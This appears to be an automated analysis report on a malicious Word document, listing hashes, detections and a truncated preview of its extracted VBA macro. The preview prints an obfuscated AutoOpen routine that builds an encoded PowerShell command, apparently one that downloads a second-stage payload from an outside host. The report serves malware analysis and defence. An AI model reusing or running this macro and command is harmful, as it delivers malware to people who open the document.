Office (OLE) malware analysis — malicious · 66d5a0b65352290e

MALICIOUS

Office (OLE)

74.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-02-26

MD5: d01151da46ce4e60ed63d82ce851f12a SHA-1: 7d29fef9b6cdadf01bf003433532cea0a12878fd SHA-256: 66d5a0b65352290e13e9de088199991ce51904227e77447664987a1b314f52d8

242 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function that utilizes a Shell() call. This script constructs and executes a complex command line that appears to launch PowerShell with encoded arguments, indicating an attempt to download and execute a secondary payload. The presence of the Shell() call and the obfuscated command line strongly suggest malicious intent.

Heuristics 7

ClamAV: Doc.Malware.00536d-6731839-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6731839-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9259 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	9259 bytes
SHA-256: `28a8898ca21be24c3ca5e033b14bc3d34aa57c554f54939cc6ba5bb039a2b65c`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const KAeKeBiXypofExYrICYVItOkeRodYRYnOxaHePuBOvASYP = 0 Sub AutoOpen() On Error Resume Next kyZuhAropOlasUWYZuNiSihORYteDAvafeNu = "" + Format(ChrW((12.5 * 8) - 1)) + "md." + Format(ChrW(101)) + "x" + Format(ChrW(101)) + " /" + Format(ChrW((12.5 * 8) - 1)) + " P^O^W^" + Format(ChrW(101)) + "^r^s^H^" + Format(ChrW(101)) + "^l^L^.^E^X^" + Format(ChrW(101)) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW((12.5 * 8) - 1)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^6^A^C^8" Dim iejaTiXUsaSEaAOTaHaBOtagUjUcopulY iejaTiXUsaSEaAOTaHaBOtagUjUcopulY = IsNull(Choose(1, "TOJYaIFezopaLISOFEk", "iejaTiXUsaSEaAOTaHaBOtagUjUcopulY", "TOJYaIFezopaLISOFEkiejaTiXUsaSEaAOTaHaBOtagUjUcopulY")) IsError CVErr(288) Call IsNull(288 - 1 * 10) If Len(TOJYaIFezopaLISOFEk) > Len(CStr(Hex(288))) Then Call IsError(CVErr(CInt(CStr(TOJYaIFezopaLISOFEk)))) End If Dim nOROZIratuaolUbYDDuKuzONOKadqy nOROZIratuaolUbYDDuKuzONOKadqy = IsNull(Choose(8, "KYaAQYnemydYHUhUPyv", "nOROZIratuaolUbYDDuKuzONOKadqy", "KYaAQYnemydYHUhUPyvnOROZIratuaolUbYDDuKuzONOKadqy")) IsError CVErr(4104) Call IsNull(4104 - 8 * 11) If Len(KYaAQYnemydYHUhUPyv) > Len(CStr(Hex(4104))) Then Call IsError(CVErr(CInt(CStr(KYaAQYnemydYHUhUPyv)))) End If nILeKyMuZyKlYdUgakYleQuaeFIsoVeV = "^A^L^w^B^k^A^G^U^A^Y^Q^B^s^A^G^E^A^Z^A^B^5^A^G^4^A^b^w^B^1^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^v^A^H^I^A^" + Format(ChrW(101)) + "^Q^A^0^A^C^4^A^" + Format(ChrW(101)) + "^A^B^h^A^H^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW((12.5 * 8) - 1)) + "^A^D" Dim FyiIbemAFoRyMyfecIKUHEjuHuXaWaweFY FyiIbemAFoRyMyfecIKUHEjuHuXaWaweFY = IsNull(Choose(7, "RYLawUWyLazYkeXeBYMU", "FyiIbemAFoRyMyfecIKUHEjuHuXaWaweFY", "RYLawUWyLazYkeXeBYMUFyiIbemAFoRyMyfecIKUHEjuHuXaWaweFY")) IsError CVErr(6977) Call IsNull(6977 - 7 * 13) If Len(RYLawUWyLazYkeXeBYMU) > Len(CStr(Hex(6977))) Then Call IsError(CVErr(CInt(CStr(RYLawUWyLazYkeXeBYMU)))) End If Dim aUkIkimizOsoaoviaeXArYpUwABipYGeby aUkIkimizOsoaoviaeXArYpUwABipYGeby = IsNull(Choose(9, "pyVoDEajOVyVYC", "aUkIkimizOsoaoviaeXArYpUwABipYGeby", "pyVoDEajOVyVYCaUkIkimizOsoaoviaeXArYpUwABipYGeby")) IsError CVErr(6478) Call IsNull(6478 - 9 * 12) If Len(pyVoDEajOVyVYC) > Len(CStr(Hex(6478))) Then Call IsError(CVErr(CInt(CStr(pyVoDEajOVyVYC)))) End If Dim wuHIvUaEZAZyRUtajOdiUkAdACdaBn wuHIvUaEZAZyRUtajOdiUkAdACdaBn = IsNull(Choose(8, "huLaRiXaJofEmezA", "wuHIvUaEZAZyRUtajOdiUkAdACdaBn", "huLaRiXaJofEmezAwuHIvUaEZAZyRUtajOdiUkAdACdaBn")) IsError CVErr(8686) Call IsNull(8686 - 8 * 11) If Len(huLaRiXaJofEmezA) > Len(CStr(Hex(8686))) Then Call IsError(CVErr(CInt(CStr(huLaRiXaJofEmezA)))) End If Dim fYQudyhhOHIpRhaOWEqEVOcyDaZUjOsek fYQudyhhOHIpRhaOWEqEVOcyDaZUjOsek = IsNull(Choose(10, "fiZyRihYsEFoCnIcoFOligI", "fYQudyhhOHIpRhaOWEqEVOcyDaZUjOsek", "fiZyRihYsEFoCnIcoFOligIfYQudyhhOHIpRhaOWEqEVOcyDaZUjOsek")) IsError CVErr(2588) Call IsNull(2588 - 10 * 10) If Len(fiZyRihYsEFoCnIcoFOligI) > Len(CStr(Hex(2588))) Then Call IsError(CVErr(CInt(CStr(fiZyRihYsEFoCnIcoFOligI)))) End If Dim iavyrhzoMEhiZIvaCYiLiNOVEXaF iavyrhzoMEhiZIvaCYiLiNOVEXaF = IsNull(Choose(3, "lIaypExUsahUQdoXapuCIQ", "iavyrhzoMEhiZIvaCYiLiNOVEXaF", "lIaypExUsahUQdoXapuCIQiavyrhzoMEhiZIvaCYiLiNOVEXaF")) IsError CVErr(6765) Call IsNull(6765 - 3 * 10) If Len(lIaypExUs ... (truncated)

SHA-256: 28a8898ca21be24c3ca5e033b14bc3d34aa57c554f54939cc6ba5bb039a2b65c

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const KAeKeBiXypofExYrICYVItOkeRodYRYnOxaHePuBOvASYP = 0
Sub AutoOpen()
On Error Resume Next
kyZuhAropOlasUWYZuNiSihORYteDAvafeNu = "" + Format(ChrW((12.5 * 8) - 1)) + "md." + Format(ChrW(101)) + "x" + Format(ChrW(101)) + " /" + Format(ChrW((12.5 * 8) - 1)) + " P^O^W^" + Format(ChrW(101)) + "^r^s^H^" + Format(ChrW(101)) + "^l^L^.^E^X^" + Format(ChrW(101)) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW((12.5 * 8) - 1)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^6^A^C^8"
Dim iejaTiXUsaSEaAOTaHaBOtagUjUcopulY

iejaTiXUsaSEaAOTaHaBOtagUjUcopulY = IsNull(Choose(1, "TOJYaIFezopaLISOFEk", "iejaTiXUsaSEaAOTaHaBOtagUjUcopulY", "TOJYaIFezopaLISOFEkiejaTiXUsaSEaAOTaHaBOtagUjUcopulY"))
IsError CVErr(288)
Call IsNull(288 - 1 * 10)

If Len(TOJYaIFezopaLISOFEk) > Len(CStr(Hex(288))) Then
   Call IsError(CVErr(CInt(CStr(TOJYaIFezopaLISOFEk))))
End If

Dim nOROZIratuaolUbYDDuKuzONOKadqy

nOROZIratuaolUbYDDuKuzONOKadqy = IsNull(Choose(8, "KYaAQYnemydYHUhUPyv", "nOROZIratuaolUbYDDuKuzONOKadqy", "KYaAQYnemydYHUhUPyvnOROZIratuaolUbYDDuKuzONOKadqy"))
IsError CVErr(4104)
Call IsNull(4104 - 8 * 11)

If Len(KYaAQYnemydYHUhUPyv) > Len(CStr(Hex(4104))) Then
   Call IsError(CVErr(CInt(CStr(KYaAQYnemydYHUhUPyv))))
End If
nILeKyMuZyKlYdUgakYleQuaeFIsoVeV = "^A^L^w^B^k^A^G^U^A^Y^Q^B^s^A^G^E^A^Z^A^B^5^A^G^4^A^b^w^B^1^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^v^A^H^I^A^" + Format(ChrW(101)) + "^Q^A^0^A^C^4^A^" + Format(ChrW(101)) + "^A^B^h^A^H^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW((12.5 * 8) - 1)) + "^A^D"
Dim FyiIbemAFoRyMyfecIKUHEjuHuXaWaweFY

FyiIbemAFoRyMyfecIKUHEjuHuXaWaweFY = IsNull(Choose(7, "RYLawUWyLazYkeXeBYMU", "FyiIbemAFoRyMyfecIKUHEjuHuXaWaweFY", "RYLawUWyLazYkeXeBYMUFyiIbemAFoRyMyfecIKUHEjuHuXaWaweFY"))
IsError CVErr(6977)
Call IsNull(6977 - 7 * 13)

If Len(RYLawUWyLazYkeXeBYMU) > Len(CStr(Hex(6977))) Then
   Call IsError(CVErr(CInt(CStr(RYLawUWyLazYkeXeBYMU))))
End If

Dim aUkIkimizOsoaoviaeXArYpUwABipYGeby

aUkIkimizOsoaoviaeXArYpUwABipYGeby = IsNull(Choose(9, "pyVoDEajOVyVYC", "aUkIkimizOsoaoviaeXArYpUwABipYGeby", "pyVoDEajOVyVYCaUkIkimizOsoaoviaeXArYpUwABipYGeby"))
IsError CVErr(6478)
Call IsNull(6478 - 9 * 12)

If Len(pyVoDEajOVyVYC) > Len(CStr(Hex(6478))) Then
   Call IsError(CVErr(CInt(CStr(pyVoDEajOVyVYC))))
End If
Dim wuHIvUaEZAZyRUtajOdiUkAdACdaBn

wuHIvUaEZAZyRUtajOdiUkAdACdaBn = IsNull(Choose(8, "huLaRiXaJofEmezA", "wuHIvUaEZAZyRUtajOdiUkAdACdaBn", "huLaRiXaJofEmezAwuHIvUaEZAZyRUtajOdiUkAdACdaBn"))
IsError CVErr(8686)
Call IsNull(8686 - 8 * 11)

If Len(huLaRiXaJofEmezA) > Len(CStr(Hex(8686))) Then
   Call IsError(CVErr(CInt(CStr(huLaRiXaJofEmezA))))
End If

Dim fYQudyhhOHIpRhaOWEqEVOcyDaZUjOsek

fYQudyhhOHIpRhaOWEqEVOcyDaZUjOsek = IsNull(Choose(10, "fiZyRihYsEFoCnIcoFOligI", "fYQudyhhOHIpRhaOWEqEVOcyDaZUjOsek", "fiZyRihYsEFoCnIcoFOligIfYQudyhhOHIpRhaOWEqEVOcyDaZUjOsek"))
IsError CVErr(2588)
Call IsNull(2588 - 10 * 10)

If Len(fiZyRihYsEFoCnIcoFOligI) > Len(CStr(Hex(2588))) Then
   Call IsError(CVErr(CInt(CStr(fiZyRihYsEFoCnIcoFOligI))))
End If
Dim iavyrhzoMEhiZIvaCYiLiNOVEXaF

iavyrhzoMEhiZIvaCYiLiNOVEXaF = IsNull(Choose(3, "lIaypExUsahUQdoXapuCIQ", "iavyrhzoMEhiZIvaCYiLiNOVEXaF", "lIaypExUsahUQdoXapuCIQiavyrhzoMEhiZIvaCYiLiNOVEXaF"))
IsError CVErr(6765)
Call IsNull(6765 - 3 * 10)

If Len(lIaypExUs
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.